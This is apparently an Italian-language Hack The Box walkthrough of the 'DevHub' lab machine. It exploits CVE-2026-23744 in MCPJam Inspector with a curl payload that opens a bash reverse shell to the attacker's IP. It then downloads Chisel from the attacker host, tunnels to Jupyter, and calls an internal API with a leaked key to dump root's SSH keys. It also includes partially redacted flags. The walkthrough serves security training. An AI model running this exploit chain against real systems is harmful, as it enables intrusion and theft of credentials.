DevHub – HTB Walkthrough (Medium Linux)

Macchina: DevHub
Difficoltà: Medium
OS: Linux
Argomenti: CVE-2026-23744, Tunneling con Chisel, Jupyter, Flask API, Escalation dei privilegi di root

📌 1. Ricognizione

nmap -sC -sV devhub.htb

Risultato:

Porta 22 (SSH)

Porta 80 (HTTP)

Porta 6274 (MCPJam Inspector)

📌 2. Modificare il file hosts

echo "10.x.x.x devhub.htb" >> /etc/hosts

📌 3. Esplorare il sito web

http://devhub.htb/ → Landing page

http://devhub.htb:6274/ → MCPJam Inspector v1.4.2 (vulnerabile a CVE-2026-23744)

📌 4. Reverse shell come mcp-dev

Terminale 1 – Listener:

nc -lvnp 4444

Terminale 2 – Payload:

curl -X POST http://devhub.htb:6274/api/mcp/connect
-H "Content-Type: application/json"
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'

✅ Shell come mcp-dev 📌 5. Configurare il tunnel Chisel

Server HTTP (attaccante):

python3 -m http.server 8000 --bind 10.x.x.x

Scaricare Chisel sul target (shell mcp-dev):

cd /tmp wget http://10.x.x.x:8000/chisel chmod +x chisel

Server Chisel (attaccante):

./chisel server --reverse --port 9001

Client Chisel (shell mcp-dev):

./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &

📌 6. Accesso a Jupyter

Leggere il token (shell mcp-dev):

ps aux | grep jupyter | grep -v grep

Token: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx

Browser: http://localhost:8888/?token=... 📌 7. Recuperare la chiave SSH di root (in Jupyter)

import requests, json

url = "http://127.0.0.1:5000/tools/call" headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"} payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}

response = requests.post(url, headers=headers, json=payload) print(json.dumps(response.json(), indent=2))

📌 8. Accesso come root

nano root_key

Inserisci la chiave

chmod 600 root_key ssh -i root_key [email protected]

📌 9. Flag

cat /root/root.txt cat /home/analyst/user.txt

Flag di root:

08be4cfb68597d0f9edfccxxxxxxxxxx

Buona fortuna! 🚀